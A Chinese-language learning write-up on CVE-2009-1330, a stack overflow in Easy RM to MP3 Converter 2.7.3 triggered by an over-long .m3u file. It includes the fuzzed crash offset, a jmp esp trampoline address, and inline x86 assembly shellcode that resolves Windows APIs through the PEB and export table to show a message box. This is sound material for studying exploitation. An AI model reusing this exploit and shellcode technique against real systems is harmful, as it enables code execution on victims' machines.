//------------------------------------------------------------
//
// 个人学习二进制漏洞挖掘时写的漏洞报告总结,算作是项目总结
// 研究的类型包括:缓冲区溢出、UAF漏洞、类型混淆
// 包括内容如下:
// 基本的漏洞成因
// 调试工具的使用
// shellcode(弹框、bindshell)的编写以及改进
// SEH常识
// exploit的编写
// 堆喷射
// ASLR/DEP的基本常识
// ROP链的构造等
//
// 本来是发到MottoIn上的一些投稿,因为错过了时间,所以发到看雪上接收批评
// 最近在研究渗透以及安卓,驱动也没研究完。。。个人时间比较紧,有空再整理成单独的教程
//------------------------------------------------------------
这个漏洞是0day书上的标准缓冲区漏洞,PoC实现也非常简单,很多人也都研究过了,我简单的整理一下个人的思路,以及本文所涵盖的内容。
这篇包含了弹窗shellcode的编写以及exploit的实现,超出了一篇漏洞报告所涵盖的内容,写的时候没考虑太多,有空再整理。
很早之前写的东西,有些概念理解错误,之后更正。
可直接下载附件
---
以下正文:
Easy RM to MP3 Converterv2.7.3(CVE-2009-1330)
漏洞分析报告
软件名称:Easy RM to MP3 Converter 软件版本:2.7.3 漏洞模块:RM2MP3Converter.exe 模块版本: 编译日期:2006-09-29 | 操作系统:Windows XP/2003/7/8.1/10 漏洞编号:CVE-2009-1330 危害等级:中危 漏洞类型:缓冲区溢出 威胁类型:本地 |
分析人:Red_0range
2016年12月25日
Easy RM to MP3 Converter为05-06年流行的一款体积较小的轻量级音频转换软件。
支持常用音频格式文件MP3, WMA, WAV, OGG等之间的转换
软件界面
2. 漏洞成因
Easy RM to MP3 Converter(version 2。7。3。700) 加载畸形过长的。m3u文件时触发缓冲区溢出
3.0. 概览
构造畸形过长,m3u文件,软件加载文件后跳转到指定代码,执行弹出对话框操作
(根据shellcode决定)
软件漏洞利用示例
3.1. 相关知识说明
3.1.1. 缓冲区溢出
缓冲区溢出可以分为堆溢出和栈溢出, 堆跟栈是两片不同架构的内存区域。
堆:程序运行时动态申请而分配的空间,大小不固定,可动态扩展。特点是需要主动申请:例如c语言中的malloc函数,申请的内存添加到堆上,堆被扩大。 主动释放:例如free函数,假如不主动释放,就会造成内存泄漏。
栈: 栈在程序运行时自动产生,负责保存进程的运行上下文,当函数调用时,逻辑上会在栈中开辟一块新区域, 我们称之为栈帧(stack frame),栈帧内保存调用的参数、返回值,包括上一级函数的返回地址。例如:
void test(){
…
}
main(){
test();
…
}
例如main函数中调用test函数,假如有参数 逻辑上新建的栈帧中会保存参数,并且会保存main函数的地址,test函数执行完成后用来返回到main函数,回到原先的栈帧。然后继续执行下面的代码。
逻辑上新开辟的栈帧已经消失,但物理保存的数据并不会消失, 栈的溢出原理就是参数的值超出了缓冲区的大小,覆盖了返回地址,函数调用完成后,返回到了攻击者指定的地址去执行代码。
简单的来说,如果我们输入的数据长度超过了开发人员定义的缓冲区,那么这个数据就可以覆盖掉EIP,EIP是指令寄存器,它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了,程序通常会崩溃,因为它跳转到的地址并尝试指向,但执行的并不是有效的指令。
典型的内存布局
输入超过用户缓冲区
开发人员错误处理-输入覆盖缓冲区和EIP,导致它跳转到无效的内存地址,程序崩溃
3.1.2. SEH
SHE是windows提供的异常处理机制之一
Windows对r3环境下应用异常处理流程为:
1。 交给调试器(进程必须被调试)
2。 执行VEH
3。 执行SEH
4。 TopLevelEH(进程被调试时不会被执行)
5。 交给调试器(上面的异常处理都说处理不了,就再次交给调试器)
6。 调用异常端口通知csrss。exe
Windows异常处理流程
具体在程序中表示为,当程序发生异常崩溃时,系统会弹出对话框并调用调试器,其中EIP指向错误的返回地址,因此触发缓冲区异常操作的常用手段之一即为返回地址淹没。
用程序演示得到下图的结果:
用x32dbg接管调试程序,可以看到程序的EIP被用户输入的数据淹没
3.1.3. 相关术语
Fuzz
模糊性检测,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug。
Shellcode
Shellcode是一填充数据,针对特定漏洞填充触发相应操作
Payload
Payload是指除了触发异常的数据之外汇编代码的机器码二进制数据
Exploit
出发漏洞并完成攻击的整体流程
POC
Proof of Concept概念证明,软件漏洞触发的原因和利用,以及个人shellcode编写
4. POC
4.1. Fuzz
已知软件加载超过45kb的m3u文件会触发异常。
构造>45kb相应的.m3u文件,并使用软件加载,观察触发异常的位置,并使用二分法逐渐缩减范围
不断缩小范围,最终确定程序在F111处触发
4.2. Shellcode编写
相应的攻击代码使用了vs2015的内联汇编,并用了release版进行编译。
Shellcode编写流程:
GetPC硬编码字符串
加载通用模块kernel32.dll/kernelbase.dll
在模块导出表获取LoadLibrary函数
在模块导出表获取GetProcAddress函数
加载user32.dll模块
通过GetProcAddress获取MessageBoxA函数地址
通过GetProcAddress获取ExitProcess函数地址
调用MessageBoxA
调用ExitProcess
4.2.1. GetPC
GetPC,也即Get Program Counter,取得程序计数器的值,在x86下就是GetEIP了,其作用是在进程的内存空间中得到当前的EIP的值,通常用于需要对代码自身进行操作的场合下,比如自解码和自修改代码(更一般的来说常见于病毒、溢出攻击代码等,也称之为代码重定位技术)。
代码示例:
//GetProcAddress\0
/*47 65 74 50 72 6F 63 41 64 64 72 65 73 73 */
//-0x14
_asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
_asm _emit(0x72) _asm _emit(0x6F) _asm _emit(0x63) _asm _emit(0x41)
_asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
_asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
__ShellCode:
//GetPC
call GETPC
GETPC :
pop edx // edx==储存当前eip
4.2.2. 获取kernel32.dll/kernelbase.dll的地址
由于我们需要动态获取LoadLibraryA()以及ExitProcess()这两个函数的地址,而这两个函数又是存在于kernel32.dll中的,因此这里需要先找到kernel32.dll的地址,然后通过对其进行解析,从而查找那两个函数。
所有的Win32程序都会自动加载ntdll.dll以及kernel32.dll这两个最基础的动态链接库。(在64位系统中,kernel32.dll的地址由kernelbase.dll所代替)
因此如果想要在 64位平台下定位kernelbase.dll中的API地址,可以使用如下方法(以下结合WinDbg演示,以64位系统为例):
// [PEB_LDR_DATA+0x1C]是InInitializationOrderModuleList的位置
// 进入链表第一个就是ntdll.dll
// 第二个节点保存的是kernelbase.dll的基地址
相应的代码示例:
mov ebx, fs : [0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xC] // [PEB+0xC]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1C] // [PEB_LDR_DATA+0x1C]是InInitializationOrderModuleList的位置
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是kernelbase.dll的基地址
4.2.3. 解析kernel32.dll/kernelbase.dll导出表
找到了kernel32.dll,由于它也是属于PE文件,那么我们可以根据PE文件的结构特征,对其导出表进行解析,不断遍历搜索,从而找到我们所需要的API函数。其步骤如下:
(1)从kernel32.dll加载基址算起,偏移0x3c的地方就是其PE头。
(2)PE头偏移0x78的地方存放着指向函数导出表的指针。
(3)至此,可以按如下方式在函数导出表中算出所需函数的入口地址:
● 导出表偏移0x1c处的指针指向存储导出函数偏移地址(RVA)的列表。
● 导出表偏移0x20处的指针指向存储导出函数函数名的列表。
● 函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA。
● 获得RVA后,再加上前边已经得到的动态链接库的加载地址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在ShellCode中调用时需要的地址。
按照这个方法,就可以获得kernel32.dll中的任意函数。
需要注意的是,kernelbase.dll中没有LoadLibrary这个函数,取而代之的是LoadLibraryExA这个函数。Kernelbase.dll与kernel32.dll之间存在一些映射关系,函数地址可能会不一样。同时Kernelbase.dll对比kernel32.dll缺少一部分函数,因此对于64位系统,一般在加载kernelbase.dll之后再度使用LoadLibraryExA加载kernel32.dll,以增强代码的健壮性。(下面代码中未做这方面的处理)
相应代码示例:
__GetExportTable :
mov eax, [ebp + 0x3C] // eax==elfanew==指向pe头
mov ecx, [ebp + eax + 0x78] // 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
mov eax, [ecx + 0x14] // eax==numberoffuncs
add ebx, ebp // ebx==函数名地址,AddressOfNames
__LoopGetProcAddressFunc :
/*
//输入:
eax==numberoffuncs
ebx==函数名地址,AddressOfNames
ebp==kernelbase.dll首地址
ecx==导出表地址
*/
dec eax
mov esi, [ebx + eax * 4] //表示函数名称
add esi, ebp //找到的函数名称,此处可以修改repe cmpsd修改
mov edi, [edx - 0x14]
cmp[esi], edi //GetP (reverse)
jnz __LoopGetProcAddressFunc
mov edi, [edx - 0x14 + 0x4]
cmp[esi + 4], edi //rocA (reverse)
jnz __LoopGetProcAddressFunc
mov edi, [edx - 0x14 + 0x8]
cmp[esi + 8], edi //ddre (reverse)
jnz __LoopGetProcAddressFunc
mov edi, [edx - 0x14 + 0xB]
cmp[esi + 0xB], edi //ess. (reverse)
jnz __LoopGetProcAddressFunc
mov ebx, [ecx + 0x24]
add ebx, ebp //ebx==AddressOfNameOrdinals
mov ax, [ebx + eax * 2] //eax==计算出序号的值//AddressOfNameOrdinals指向WORD数组
mov ebx, [ecx + 0x1C]
add ebx, ebp //ebx==AddressOfFunctions
mov edi, [ebx + eax * 4] //利用序号值,得到出GetProcAddress的地址
add edi, ebp
mov esi, edi //esi==GetProcAddress
__GetLoadLibraryA :
/*
//输入:
esi==GetProcAddress
ebp==kernelbase.dll首地址
*/
lea eax, [edx - 0x21] //LoadLibraryA 字符串地址
push edx //保存寄存器变量
push eax
push ebp
call esi //GetProcAddress
mov ebx, eax //ebx==LoadLibraryA地址
4.2.4. 获取user32.dll
GetProcAddress函数第一个参数为模块句柄,而MessageBoxA存在于user32.dll模块中
示例代码:
__GetLoadLibraryA :
/*
//输入:
ebx==LoadLibraryA地址
*/
lea eax, [edx - 0x2C] //eax==”user32.dll\0”
push eax
call ebx //LoadLibraryA
mov edi, eax //edi==LoadLibraryA("user32.dll")//hModule
4.2.5. 调用MessageBoxA
__callMessageboxA:
/*
//输入:
edx==字符串数组指针
ebx==MessageBoxA 0x753f87b0
*/
lea ecx, [edx - 0x4C] //”warning\0”
lea esi, [edx - 0x60] //”Hacked by Red_Magic\0”
push 0
push ecx
push esi
push 0
call ebx
4.2.6. 扣取Shellcode&拼接文件
将项目使用release编译,并在起始位置和结尾处进行nop填充方便扣取shellcode
(项目用release编译main函数在OD中位于最上方,而debug版编译需要经过两个跳转)
编译选项设置如图
禁用安全检查确保程序能够正常编译,禁用优化选项确保编译器不会对你的汇编代码进行错误的修改。
可以看到0x0038100c地址即为我们代码的起始位置
0x0038110D为代码的结束位置,选择数据窗口中跟随,在数据窗口中使用ctrl+shift+c将机器码到文件中
另外,关于跳板技术——jmp esp的介绍:
“jmp esp”常被用作跳板动态定位shellcode ,原理如下:
1) 用内存中任意一个”jmp esp”的地址覆盖返回地址
2) 函数返回后被重定向去执行内存中jmp esp指令
3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行
4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode。
即程序在执行完jmp esp之后执行我们的shellcode数据
Jmp esp可以在程序运行时的内存中查找,也可以选择操作系统本身,这里提供一个windows中文操作系统通杀地址:
0x7ffa4512
这个指令地址可以在windbg下使用 s -w 0x70000000 L0x7ffffff e4ff 这条指令进行搜索
e4ff为jmp esp的机器码的倒数
用12 45 FA 7F 替换上文出现的溢出点F111并在之后添加shellcode即完成了shellcode的组装
加载文件,程序即弹出对话框
5. 漏洞成因分析
用OD调试程序,观察程序何时崩溃,然后跟一下. 发现下面这个函数里面崩溃.
跟进代码:
就是0041E3F0的call dword ptr [ebx+6472] 里面代码出问题
这边开的Buffer是0x880*4=0x2200
结果我们的文件用30000个字节, 给撑爆了. 覆盖了返回地址,典型的缓冲区溢出漏洞.
6. 参考资料
《高端调试》张银奎 著
《0day安全:软件漏洞分析技术(第2版)》 王清 著
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法